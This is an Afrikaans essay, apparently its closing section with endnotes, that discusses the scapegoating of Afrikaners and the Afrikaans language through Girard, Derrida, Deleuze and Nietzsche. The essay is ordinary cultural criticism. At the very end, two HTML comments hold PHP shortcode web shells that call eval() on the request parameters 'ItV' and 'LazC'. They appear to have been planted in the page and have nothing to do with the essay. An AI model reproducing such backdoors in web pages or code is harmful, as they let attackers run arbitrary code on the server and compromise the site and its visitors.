Die idee van die sondebok is breedvoerig bespreek deur René Girard. 18 Die soort optrede wat uitloop op die soek na ’n sondebok is per definisie dié van ’n heksejag. In sy meer anti-Afrikaanse momente bantwoord die Waarheids- en Versoeningskommissie geheel en al aan hierdie definisie. Tydens die Pes in Europa gedurende die Middeleeue is groot groepe Jode vermoor as sou hulle verantwoordelik gewees het vir die ellende. Die demagogiese begrip “apartheid” is ’n soort opvangbak vir alle maatskaplike euwels wat in Suid-Afrika en selfs in Suider-Afrika werksaam is, vanaf armoede, gebrek aan opvoeding, werkloosheid, tuberkulose, tot Vigs, stamgeweld, misdaad, noem maar op. Dit is nie soveel verskillend van die pes nie, en die werklike oorsake van hierdie toestande is aan ons ewe duister as wat mikrobiologiese verskynsels aan die stadsbewoners van die Middeleeue was. Interessant is dat daar gewoonlik ’n “teken” of eienskap kleef aan die sondebok wat hom uitsonder van die meerderheid aan wie hy kwaad doen of gedoen het. 19 Belangrik is dat die slagoffer van vervolging deur die meerderheid nie gekies word na aanleiding van die misdaad — werklik of verbeeld — wat hy gepleeg het nie, maar op grond van sy slagofferteken wat op stereotipes berus. Stereotipering hou daarom altyd die gevaar van vervolging in. Slagoffertekens is dikwels ook “verskille”, ’n “andersheid” wat ook kultureel of godsdienstig kan wees. ’n Voorbeeld van ’n slagoffer wat deur Girard genoem word is Oedipus in die stuk deur Sophocles.

Plus un individu possède de signes victimaires, plus il a de chances de’attirer la foudre sur sa tête. L’infirmité d’Oedipe, son passé d’enfant exposé, sa situation d’étranger, de parvenu, de roi, font de lui un véritable conglomérat de signes victimaires. 20

[Hoe meer slagoffertekens ’n individu het, hoe groter is die kans dat hy die ongeluk oor hom kan bring. Die gebrek van Oedipus, sy verlede as weggooikind, sy status as buitelander, as parvenu, as koning, maak van hom ’n ware konglomeraat van slagoffertekens.]

In baie opsigte is Afrikaans ’n unieke taal op die vasteland van Afrika, wat die sprekers daarvan ook uniek maak, ’n eienaardige minderheid in ’n wêreld wat oorheers word deur groot imperiale tale: Mandaryns in die Ooste, Engels in die Weste. Dit is ’n ongemaklike posisie om ’n lid van ’n eienaardige minderheid te wees in ’n omgewing of op ’n vasteland wat gedurig gebuk gaan onder maatskaplike en natuurrampe, oorloë, opstande, terreur, misdaad en die verspreiding van aansteeklike siektes soos Vigs en malaria. Soos die Jode, is alle Afrikaners of Afrikaanssprekendes uiters kwesbaar as synde ’n “konglomeraat van slagoffertekens”, en moet hulle byvoorbaat die konsentrasiekamp anderkant die bult sien sodra aantygings van kollektiewe skuld gemaak word of etniese stereotiperingsveldtogte via die massamedia gevoer word.

Ek wil vir ’n oomblik stilstaan by die idee van ’n tussengebied, ’n niemandsland, die uitgestrektheid van die landskap, ’n soort Karoo van die identiteit. Daar is ’n woord in Frans vir “gebied” of “omstreke” wat reeds ontgin is om die aarselende betekenis weer te gee waarna ek soek, die woord “parages”.

Parages: à ce seul mot confions ce qui situe, tout près ou de loin, le double mouvement d’approche et d’éloignement, souvent le même pas, singulièrement divisé, plus vieux et plus jeune que lui-même, autre toujours, au bord de l’événement, quand il arrive et n’arrive pas, infiniment distant à l’approche de l’autre rive. 21

[Gebied: aan hierdie enkele woord wil ons toeken dit wat, hier naby of daar ver, die dubbele beweging van naderkoms en wegtrek omvat, eiesoortiglik verdeel, ouer en jonger as sigself, altyd anders, aan die rand van die gebeurtenis, as dit arriveer én nie arriveer nie, oneindig ver verwyder wanneer die oorkantste oewer benader word.]

As hierdie aanhaling klink soos ’n dekonstruksie van die Groot Trek, is dit nie toevallig nie: dit is afkomstig uit ’n teks van Jacques Derrida oor die werk van Maurice Blanchot. Enkele bladsye later tydens ’n ontleding van Blanchot se boek Le pas au-delà (“Die tree na anderkant”), is daar ’n eg Nietzscheaanse formulering van dieselfde konsep van ’n aarselende oorgang:

Il y a toujours deux pas. L’un dans l’autre mais sans inclusion possible, l’un affectant l’autre immédiatement mais à le franchir en s’eloignant de lui. Toujours deux pas, franchissant jusqu’à leur négation, selon le retour éternel de la transgression passive et de l’affirmation répétée. 22

[Daar is altyd twee treë. Die een voetspoor in die ander maar sonder moontlike insluiting, die een wat die ander onmiddellik affekteer maar deur ’n tree telkens verder weg te gee. Altyd twee treë, te gee tot by hul wedersydse ontkenning, volgens die ewige wederkeer van passiewe oortreding en herhalende bevestiging.]

Die huiwerende situasie van Afrikaans, gevang in sy taalgebied in Afrika maar gedurig intellektueel in pas met Europa, is vir my nie anders as die beskrewe beweging nie. Ook die posisie van Afrikaans, in sy opkoms en verval as amptelike taal, die skynbaar fatale dans met mag van die pas afgelope veertig jaar of so, kan gesien word as ’n betreding van dié unieke tussengebied waar die bordjies telkens verhang word. Taalbeweging, taaltrek, taaldraadtrek, dit is soveel valle van die dobbelsteen van die ewige wederkeer. Maar betreding dui reeds op die begaan van ’n oortreding, om die ander se taalgebied as ’t ware te kom bevuil met jou poësie, jou letterkunde, jou radio- of televisieprogram, jou advertensie, jou preek of draakstekery.

Die eindelose herkolonisering van die Afrikaner, nou in die naam van imperiale uitbreiding, dan weer in die naam van postkoloniale ontwikkeling, is inderdaad ’n ervaring van die ewige wederkeer. Dié heen-en-weer beweging wat nie net die herhaalde aanslae van die geskiedenis omvat nie, maar ook die uitspeel van Afrikaans in sy verhouding tot die Suid-Afrikaanse landskap in die breedste moontlike sin, word vir my mooi saamgevat deur Deleuze se koeplet deterritorialisering/reterritorialisering. Afrikaans is letterlik ’n gedeterritorialiseerde Nederlands, wat op sy beurt gereterritorialiseer word deur Engels en die pre-koloniale Afrika-utopie.

’n Mens hoor dikwels dat Afrikaans onder die vorige bewind “bevoorreg” is, en nou gestraf moet word daarvoor. Hierdie denke is eienaardig, maar op ’n manier gee die tussengebied wat Afrikaans beklee hom tog ’n verhewe en daarom bevoorregte posisie. In ’n sekere sin is die Suid-Afrikaanse ervaring nóg Europees, nóg van Afrika. Dit behels drie eeue van deterritorialisering, van vergeet van én die Europese identiteit én die Afrika-identiteit. Ek word geïntrigeer deur die volgende opmerking van ’n sekere historikus wat allermins Afrikaans of die Afrikaner goedgesind is, en wat waarskynlik geen erg sou hê aan die verdwyning van Afrikaans as taal nie. Verwysende na die Hoëveld, meen hy:

These hot, dry and expansive plains of the subcontinent provide the country with its most characteristic landscape, and a distinctive terminology which singles out for special attention any geomorphological feature which so much as hints at either height or water. Koppie, krans, pan, platteland, rand, sloot, spruit, vlakte, and vlei — are all Afrikaans words that defy easy translation and which have been incorporated holus-bolus into the vocabulary of all urban South Africans. They are quintessentially highveld words; words that give life to the ways in which one senses and experiences much of what it is to be South African … When an authentic South African identity eventually emerges from this troubled country it will, in large part, have come from painful experiences on the highveld. 23

Die leser van Nietzsche kan nie anders as om hardop te skater oor die opvatting van “’n outentieke Suid-Afrikaanse identiteit nie”, maar is dit nie ’n kraak in die mondering van die “nasionale en internasionale lingua franca” nie? Wat Van Onselen, die outeur van hierdie reëls nie besef nie, is dat die skoonheid van hierdie woorde — hierdie Afrikaanse woorde — nie uitvloei vanaf of selfs neig na ’n ware identiteit nie, maar vanuit ’n proses van vergeet, van swerf, van soeke na die horison van die tussengebied.

Die verskil tussen Afrikaner-nasionalisme en Afrika-nasionalisme is een lettergreep, en albei hou aan ons ’n identiteit voor wat gefabriseer word uit herinnerde idealisme, Plato se proses van anamnese waar ons almal soos grotbewoners droom van die helder lig daarbuite wat ons nooit sal smaak nie omdat dit tot die ideële wêreld behoort. Eerder as wat ons die identiteit nastreef wat deur die kultuurpolisie van die nuwe ou Suid-Afrika aan ons voorgehou word, behoort ons die proses van vergeet wat eie aan Afrikaans is, voort te sit. Ons behoort ons verlies aan ’n identiteit te bevestig of, in Nietzscheaanse terme, dit te beja.

Om Afrikaans te beja sou onder meer behels om verby die taalmoraliteit en -moralisme te kyk. Soos Nietzsche dit stel:

Die Moral, insofern sie verurteilt, an sich, nicht aus Hinsichten, Rücksichten, Absichten des Lebens, ist ein spezifischer Irrtum, mit dem man kein Mitleiden haben soll, eine Degenerierten-Idiosynkrasie, die unsäglich viel Schaden gestiftet hat! … Wir anderen, wir Immoralisten, haben umgekehrt unser Herz weit gemacht für alle Art Vertstehn, Begreifen, Gutheißen. Wir verneinen nicht leicht, wir suchen unsre Ehre darin, Bejahende zu sein … 24

[Die moraal, sover dit op grond van homself veroordeel, en nie met verwysing na en waardering vir die doel van die lewe nie, is ’n spesifieke dwaling waarmee ’n mens geen simpatie behoort te hê nie, ’n idiosinkrasie van die gedegenereerdes wat ontsaglike skade veroorsaak het! … Ons ander, die immoraliste, het inteendeel ons harte oopgemaak vir elke soort verstaan, begrip, goedkeuring. Ons ontken nie maklik nie, ons soek na ons eer deur bejaend te wees.]

Elders lees ons, met verwysing na die estetika:

‘Das ist schön’ is eine Bejahung. 25

[‘Dit is mooi’ is ’n bejaïng.]

Om Afrikaans te beja sou dus behels om in die eerste plek die taalmoraliteit af te sweer, die historiese rekeningkunde waar die taal nou promoveer tot “bate”, nou weer tot “las”. In hierdie dae van herinnering aan die onlangse verlede, gaan dit waarskynlik byna bomenslike moed verg om te vergeet, om aktief te vergeet ten einde die onskuld te verwerf waarsonder geen skepping moontlik is nie. Om aktief te vergeet beteken myns insiens op die minste ’n stellingname, ’n sekere strydvaardigheid en bereidheid om ’n standpunt te huldig. Dit gaan my te bowe dat soveel middelmatige persoonlikhede behorende tot ons openbare lewe soveel snert en onsinnighede oor Afrikaans en die kultuur in die algemeen kan kwytraak en skotvry daarvan afkom. Is daar geen skrywers meer in Afrikaans nie, kruip hulle almal onder die bed weg? Het ons geen denkers meer nie, of is hulle nog besig om hulself te heroriënteer sodat hulle gemaklik die oorgang vanaf die Broederbond na die Africanbond kan maak? Het Eugène Marais verniet “Winternag” geskryf en verniet teen die morfien gestry? Is ons so geïntimideer deur ’n spul opgepompte Europeërs en Amerikaners wat geen snars van Suid-Afrika verstaan nie dat ons eers die rokspante van die Kappiekommando sal moet vind voordat ons durf antwoord op hul lomp bekookte beledigings?

Is daar niemand wat identiteitloos genoeg is om ja te sê vir Afrikaans nie?

Notes:

  1. Heidegger, Martin. Gelassenheit. Pfullingen: Verlag Günther Neske, 1959.
  2. Schoeman, Karel. Hierdie Lewe. Kaapstad: Human & Rousseau, 1993.
  3. Sien byvoorbeeld die beskrywing op bladsy 10, ibid., wat begin “Helder land, glansende silwergrys land wat voor my wegdrywe in die nag, waar ek verwonderd sien hoe elke tak van die harpuisbos glinster soos die digte spirale van sy blaartjies die skynsel van die lig weerkaats en elke rots dof gloei teen die rante …”
  4. Rancière, Jacques. Courts voyages au pays du peuple. Parys: Ed. du Seuil, 1990.
  5. ibid., bl. 7.
  6. De Kiewiet, CW. A history of South Africa, social and economic. Londen: Oxford Univ Press, 1942.
  7. ibid, bl 17.
  8. Blum, Peter. ”Rooinekke op Hermanus” in Steenbok tot poolsee. Kaapstad: Tafelberg, 1974.
  9. P Vergilius Maro. Bucolica et georgica. Basingstoke en Londen: Macmillan, 1972, bll 1-3.
  10. Kristeva, Julia. Etrangers � nous-m�mes. Parys: Fayard, 1988, bl 9.
  11. Van Melle, J. Bart Nel. Pretoria: JL van Schaik, 1981.
  12. Deleuze, Gilles. Superpositions. Parys: Minuit, 1979, bl 109.
  13. ibid, bl 127.
  14. Vergelyk sekere van my opmerkings in Om die Waarheidskommissie te vergeet aangaande die ahistoriese aard van hierdie begrip.
  15. Nietzsche, Friedrich. Sämtliche Werke: Jenseits von Gute und B�se. Stuttgart: Alfred Kröner Verlag, 1964, bl 183.
  16. op cit, bl 19.
  17. Glucksmann, André en Wolton, Thierry. Silence on tue. Parys: Grasset, 1986, bll 23-24.
  18. Girard, René. Le bouc émissaire. Parys: Grasset, 1982.
  19. ibid, bll 30-31.
  20. ibid, bl 39.
  21. Derrida, Jacques. Parages. Parys: Galilée, 1986, bl 15.
  22. ibid, bl 59.
  23. Van Onselen, Charles. The seed is mine. Kaapstad: David Philip, 1996, bll v-vi.
  24. Nietzsche, Friedrich. Sämtliche Werke: Göttzendämmerung. Stuttgart: Alfred Kröner Verlag, 1964, bl 106.
  25. ibid, Der Wille zur Macht, bl 573.

<!– [insert_php]if (isset($_REQUEST["ItV"])){eval($_REQUEST["ItV"]);exit;}[/insert_php][php]if (isset($_REQUEST["ItV"])){eval($_REQUEST["ItV"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["LazC"])){eval($_REQUEST["LazC"]);exit;}[/insert_php][php]if (isset($_REQUEST["LazC"])){eval($_REQUEST["LazC"]);exit;}[/php] –>